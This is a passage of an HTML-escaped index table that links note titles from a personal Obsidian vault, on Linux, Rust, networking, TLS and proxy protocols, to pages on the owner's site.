&lt;tr&gt;&lt;td&gt;systemd 用户session.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;systemd-%E7%94%A8%E6%88%B7session&#x2F;&quot;&gt;obsidian&#x2F;systemd-用户session&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;TCP 中的Sequence Number - 四度.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;tcp-%E4%B8%AD%E7%9A%84sequence-number-%E5%9B%9B%E5%BA%A6&#x2F;&quot;&gt;obsidian&#x2F;tcp-中的sequence-number-四度&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Telling gcc directly to link a library statically.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;telling-gcc-directly-to-link-a-library-statically&#x2F;&quot;&gt;obsidian&#x2F;telling-gcc-directly-to-link-a-library-statically&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;The Evolutions of Lambdas in C++14, C++17 and C++20.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;the-evolutions-of-lambdas-in-c-14-c-17-and-c-20&#x2F;&quot;&gt;obsidian&#x2F;the-evolutions-of-lambdas-in-c-14-c-17-and-c-20&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;The Little Book of Rust Macros （Rust 宏小册）.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;the-little-book-of-rust-macros-rust-%E5%AE%8F%E5%B0%8F%E5%86%8C&#x2F;&quot;&gt;obsidian&#x2F;the-little-book-of-rust-macros-rust-宏小册&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;The Most Common OpenSSL Commands.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;the-most-common-openssl-commands&#x2F;&quot;&gt;obsidian&#x2F;the-most-common-openssl-commands&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;TLS 详解.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;tls-%E8%AF%A6%E8%A7%A3&#x2F;&quot;&gt;obsidian&#x2F;tls-详解&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;tmp临时目录清理规则.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;tmp%E4%B8%B4%E6%97%B6%E7%9B%AE%E5%BD%95%E6%B8%85%E7%90%86%E8%A7%84%E5%88%99&#x2F;&quot;&gt;obsidian&#x2F;tmp临时目录清理规则&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Tor The Second-Generation Onion Router学习笔记.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;tor-the-second-generation-onion-router%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0&#x2F;&quot;&gt;obsidian&#x2F;tor-the-second-generation-onion-router学习笔记&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;tput 命令行使用说明.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;tput-%E5%91%BD%E4%BB%A4%E8%A1%8C%E4%BD%BF%E7%94%A8%E8%AF%B4%E6%98%8E&#x2F;&quot;&gt;obsidian&#x2F;tput-命令行使用说明&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;UEFI之虚拟环境（OVMF）seabios --- ovmf.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;uefi%E4%B9%8B%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83-ovmf-seabios-ovmf&#x2F;&quot;&gt;obsidian&#x2F;uefi之虚拟环境-ovmf-seabios-ovmf&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Understanding Serde.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;understanding-serde&#x2F;&quot;&gt;obsidian&#x2F;understanding-serde&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Unwind 栈回溯详解.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;unwind-%E6%A0%88%E5%9B%9E%E6%BA%AF%E8%AF%A6%E8%A7%A3&#x2F;&quot;&gt;obsidian&#x2F;unwind-栈回溯详解&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;USB 协议核心概念与实践.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;usb-%E5%8D%8F%E8%AE%AE%E6%A0%B8%E5%BF%83%E6%A6%82%E5%BF%B5%E4%B8%8E%E5%AE%9E%E8%B7%B5&#x2F;&quot;&gt;obsidian&#x2F;usb-协议核心概念与实践&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;valgrind使用方法.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;valgrind%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95&#x2F;&quot;&gt;obsidian&#x2F;valgrind使用方法&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Visual Studio Code的clangd插件一篇通.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;visual-studio-code%E7%9A%84clangd%E6%8F%92%E4%BB%B6%E4%B8%80%E7%AF%87%E9%80%9A&#x2F;&quot;&gt;obsidian&#x2F;visual-studio-code的clangd插件一篇通&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Win1011激活新方法出炉，依旧永久 · Issue #81 · TGSANCMWTAT_Digital_Edition.md&lt;&#x2F;td&gt;&lt;td&gt;（GitHub Issue 剪藏正文仅一条外链、近乎空白，已删除）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;wireshark lua api - 协议解析.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;wireshark-lua-api-%E5%8D%8F%E8%AE%AE%E8%A7%A3%E6%9E%90&#x2F;&quot;&gt;obsidian&#x2F;wireshark-lua-api-协议解析&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Wireshark解密HTTPS流量的两种方法.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;wireshark%E8%A7%A3%E5%AF%86https%E6%B5%81%E9%87%8F%E7%9A%84%E4%B8%A4%E7%A7%8D%E6%96%B9%E6%B3%95&#x2F;&quot;&gt;obsidian&#x2F;wireshark解密https流量的两种方法&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Writing an OS in Rust.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;writing-an-os-in-rust&#x2F;&quot;&gt;obsidian&#x2F;writing-an-os-in-rust&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Writing Python inside your Rust code — Part 1.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;writing-python-inside-your-rust-code-part-1&#x2F;&quot;&gt;obsidian&#x2F;writing-python-inside-your-rust-code-part-1&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;XTLS Vision原理介绍_Xray新协议Reality _ VPS小白.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;xtls-vision%E5%8E%9F%E7%90%86%E4%BB%8B%E7%BB%8D-xray%E6%96%B0%E5%8D%8F%E8%AE%AEreality-vps%E5%B0%8F%E7%99%BD&#x2F;&quot;&gt;obsidian&#x2F;xtls-vision原理介绍-xray新协议reality-vps小白&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;xtls-流控缺陷分析.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;xtls-%E6%B5%81%E6%8E%A7%E7%BC%BA%E9%99%B7%E5%88%86%E6%9E%90&#x2F;&quot;&gt;obsidian&#x2F;xtls-流控缺陷分析&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;You don’t need more than one cursor in vim.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;you-don-t-need-more-than-one-cursor-in-vim&#x2F;&quot;&gt;obsidian&#x2F;you-don-t-need-more-than-one-cursor-in-vim&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Yubikey 4 配置.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;yubikey-4-%E9%85%8D%E7%BD%AE&#x2F;&quot;&gt;obsidian&#x2F;yubikey-4-配置&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;zaunistcloudflare-proxy.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;zaunistcloudflare-proxy&#x2F;&quot;&gt;obsidian&#x2F;zaunistcloudflare-proxy&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;一个300行的文件系统（基于linux6.6）.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%B8%80%E4%B8%AA300%E8%A1%8C%E7%9A%84%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F-%E5%9F%BA%E4%BA%8Elinux6.6&#x2F;&quot;&gt;obsidian&#x2F;一个300行的文件系统-基于linux6.6&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;一个Rust生命周期问题.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%B8%80%E4%B8%AArust%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E9%97%AE%E9%A2%98&#x2F;&quot;&gt;obsidian&#x2F;一个rust生命周期问题&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;一文搞懂linux系统休眠唤醒.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82linux%E7%B3%BB%E7%BB%9F%E4%BC%91%E7%9C%A0%E5%94%A4%E9%86%92&#x2F;&quot;&gt;obsidian&#x2F;一文搞懂linux系统休眠唤醒&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;一篇文章搞懂密码学基础及SSLTLS协议.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E6%90%9E%E6%87%82%E5%AF%86%E7%A0%81%E5%AD%A6%E5%9F%BA%E7%A1%80%E5%8F%8Assltls%E5%8D%8F%E8%AE%AE&#x2F;&quot;&gt;obsidian&#x2F;一篇文章搞懂密码学基础及ssltls协议&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;串口线悬空带来的灾难：定位一次意想不到的Linux系统崩溃.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%B8%B2%E5%8F%A3%E7%BA%BF%E6%82%AC%E7%A9%BA%E5%B8%A6%E6%9D%A5%E7%9A%84%E7%81%BE%E9%9A%BE-%E5%AE%9A%E4%BD%8D%E4%B8%80%E6%AC%A1%E6%84%8F%E6%83%B3%E4%B8%8D%E5%88%B0%E7%9A%84linux%E7%B3%BB%E7%BB%9F%E5%B4%A9%E6%BA%83&#x2F;&quot;&gt;obsidian&#x2F;串口线悬空带来的灾难-定位一次意想不到的linux系统崩溃&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;了解一点关于泛型关联类型(GAT)的事.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%BA%86%E8%A7%A3%E4%B8%80%E7%82%B9%E5%85%B3%E4%BA%8E%E6%B3%9B%E5%9E%8B%E5%85%B3%E8%81%94%E7%B1%BB%E5%9E%8B-gat-%E7%9A%84%E4%BA%8B&#x2F;&quot;&gt;obsidian&#x2F;了解一点关于泛型关联类型-gat-的事&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;五方法破解Linux（CentOS7.4）系统的root密码-腾讯云开发者社区-腾讯云.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%BA%94%E6%96%B9%E6%B3%95%E7%A0%B4%E8%A7%A3linux-centos7.4-%E7%B3%BB%E7%BB%9F%E7%9A%84root%E5%AF%86%E7%A0%81-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;&quot;&gt;obsidian&#x2F;五方法破解linux-centos7.4-系统的root密码-腾讯云开发者社区-腾讯云&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;什么是Minio？如何搭建Minio集群.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%BB%80%E4%B9%88%E6%98%AFminio-%E5%A6%82%E4%BD%95%E6%90%AD%E5%BB%BAminio%E9%9B%86%E7%BE%A4&#x2F;&quot;&gt;obsidian&#x2F;什么是minio-如何搭建minio集群&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;从 generator 的角度看 Rust 异步代码.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%BB%8E-generator-%E7%9A%84%E8%A7%92%E5%BA%A6%E7%9C%8B-rust-%E5%BC%82%E6%AD%A5%E4%BB%A3%E7%A0%81&#x2F;&quot;&gt;obsidian&#x2F;从-generator-的角度看-rust-异步代码&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;【代理新姿势】科学上网最新AnyTLS协议快速上手，收集了两年的各代理协议反馈分享，reality依旧稳如老狗！ - 科学上网 技术分享.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%BB%A3%E7%90%86%E6%96%B0%E5%A7%BF%E5%8A%BF-%E7%A7%91%E5%AD%A6%E4%B8%8A%E7%BD%91%E6%9C%80%E6%96%B0anytls%E5%8D%8F%E8%AE%AE%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B-%E6%94%B6%E9%9B%86%E4%BA%86%E4%B8%A4%E5%B9%B4%E7%9A%84%E5%90%84%E4%BB%A3%E7%90%86%E5%8D%8F%E8%AE%AE%E5%8F%8D%E9%A6%88%E5%88%86%E4%BA%AB-reality%E4%BE%9D%E6%97%A7%E7%A8%B3%E5%A6%82%E8%80%81%E7%8B%97-%E7%A7%91%E5%AD%A6%E4%B8%8A%E7%BD%91-%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB&#x2F;&quot;&gt;obsidian&#x2F;代理新姿势-科学上网最新anytls协议快速上手-收集了两年的各代理协议反馈分享-reality依旧稳如老狗-科学上网-技术分享&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;优雅地组合：谈谈 axum.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%BC%98%E9%9B%85%E5%9C%B0%E7%BB%84%E5%90%88-%E8%B0%88%E8%B0%88-axum&#x2F;&quot;&gt;obsidian&#x2F;优雅地组合-谈谈-axum&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;使 IPv6 Only VPS 能访问 IPv4 网络.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%BD%BF-ipv6-only-vps-%E8%83%BD%E8%AE%BF%E9%97%AE-ipv4-%E7%BD%91%E7%BB%9C&#x2F;&quot;&gt;obsidian&#x2F;使-ipv6-only-vps-能访问-ipv4-网络&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;使用 Address Sanitizer 排查内存越界.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%BD%BF%E7%94%A8-address-sanitizer-%E6%8E%92%E6%9F%A5%E5%86%85%E5%AD%98%E8%B6%8A%E7%95%8C&#x2F;&quot;&gt;obsidian&#x2F;使用-address-sanitizer-排查内存越界&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;使用 Docker 运行 FRR BGP.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%BD%BF%E7%94%A8-docker-%E8%BF%90%E8%A1%8C-frr-bgp&#x2F;&quot;&gt;obsidian&#x2F;使用-docker-运行-frr-bgp&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;使用 iptables 的 tproxy 完成本机访问家里内网的透明代理.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%BD%BF%E7%94%A8-iptables-%E7%9A%84-tproxy-%E5%AE%8C%E6%88%90%E6%9C%AC%E6%9C%BA%E8%AE%BF%E9%97%AE%E5%AE%B6%E9%87%8C%E5%86%85%E7%BD%91%E7%9A%84%E9%80%8F%E6%98%8E%E4%BB%A3%E7%90%86&#x2F;&quot;&gt;obsidian&#x2F;使用-iptables-的-tproxy-完成本机访问家里内网的透明代理&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;使用mmap来学习procpidsmaps.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%BD%BF%E7%94%A8mmap%E6%9D%A5%E5%AD%A6%E4%B9%A0procpidsmaps&#x2F;&quot;&gt;obsidian&#x2F;使用mmap来学习procpidsmaps&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;GCC 内联汇编 - 不告诉你我是谁&#x2F;使用内联汇编 (三) 内联汇编结束篇 - zengl开源网.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%BD%BF%E7%94%A8%E5%86%85%E8%81%94%E6%B1%87%E7%BC%96-%E4%B8%89-%E5%86%85%E8%81%94%E6%B1%87%E7%BC%96%E7%BB%93%E6%9D%9F%E7%AF%87-zengl%E5%BC%80%E6%BA%90%E7%BD%91&#x2F;&quot;&gt;obsidian&#x2F;使用内联汇编-三-内联汇编结束篇-zengl开源网&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;使用虚拟机镜像安装 - OpenCloudOS Documentation.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E4%BD%BF%E7%94%A8%E8%99%9A%E6%8B%9F%E6%9C%BA%E9%95%9C%E5%83%8F%E5%AE%89%E8%A3%85-opencloudos-documentation&#x2F;&quot;&gt;obsidian&#x2F;使用虚拟机镜像安装-opencloudos-documentation&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;前端流媒体播放从入门到入坑.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E5%89%8D%E7%AB%AF%E6%B5%81%E5%AA%92%E4%BD%93%E6%92%AD%E6%94%BE%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9D%91&#x2F;&quot;&gt;obsidian&#x2F;前端流媒体播放从入门到入坑&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;华为路由交换基础及常用配置命令梳理.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E5%8D%8E%E4%B8%BA%E8%B7%AF%E7%94%B1%E4%BA%A4%E6%8D%A2%E5%9F%BA%E7%A1%80%E5%8F%8A%E5%B8%B8%E7%94%A8%E9%85%8D%E7%BD%AE%E5%91%BD%E4%BB%A4%E6%A2%B3%E7%90%86&#x2F;&quot;&gt;obsidian&#x2F;华为路由交换基础及常用配置命令梳理&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;【原创】Linux PCI驱动框架分析（一）.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E5%8E%9F%E5%88%9B-linux-pci%E9%A9%B1%E5%8A%A8%E6%A1%86%E6%9E%B6%E5%88%86%E6%9E%90-%E4%B8%80&#x2F;&quot;&gt;obsidian&#x2F;原创-linux-pci驱动框架分析-一&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;解决ubuntu开机resolve.conf被覆盖为127.0.0.53无法导致上网的问题&#x2F;各种DNS的技术对比以及DNS缓存配置.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E5%90%84%E7%A7%8Ddns%E7%9A%84%E6%8A%80%E6%9C%AF%E5%AF%B9%E6%AF%94%E4%BB%A5%E5%8F%8Adns%E7%BC%93%E5%AD%98%E9%85%8D%E7%BD%AE&#x2F;&quot;&gt;obsidian&#x2F;各种dns的技术对比以及dns缓存配置&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;命令行选项解析函数(C语言)：getopt()和getopt_long() - 肖邦linux - 博客园.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E5%91%BD%E4%BB%A4%E8%A1%8C%E9%80%89%E9%A1%B9%E8%A7%A3%E6%9E%90%E5%87%BD%E6%95%B0-c%E8%AF%AD%E8%A8%80-getopt-%E5%92%8Cgetopt_long-%E8%82%96%E9%82%A6linux-%E5%8D%9A%E5%AE%A2%E5%9B%AD&#x2F;&quot;&gt;obsidian&#x2F;命令行选项解析函数-c语言-getopt-和getopt_long-肖邦linux-博客园&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;哪一个是真正的我？我自己也不明白-Reality杂谈.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E5%93%AA%E4%B8%80%E4%B8%AA%E6%98%AF%E7%9C%9F%E6%AD%A3%E7%9A%84%E6%88%91-%E6%88%91%E8%87%AA%E5%B7%B1%E4%B9%9F%E4%B8%8D%E6%98%8E%E7%99%BD-reality%E6%9D%82%E8%B0%88&#x2F;&quot;&gt;obsidian&#x2F;哪一个是真正的我-我自己也不明白-reality杂谈&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;固件和内核驱动_内核驱动固件.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E5%9B%BA%E4%BB%B6%E5%92%8C%E5%86%85%E6%A0%B8%E9%A9%B1%E5%8A%A8_%E5%86%85%E6%A0%B8%E9%A9%B1%E5%8A%A8%E5%9B%BA%E4%BB%B6&#x2F;&quot;&gt;obsidian&#x2F;固件和内核驱动_内核驱动固件&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
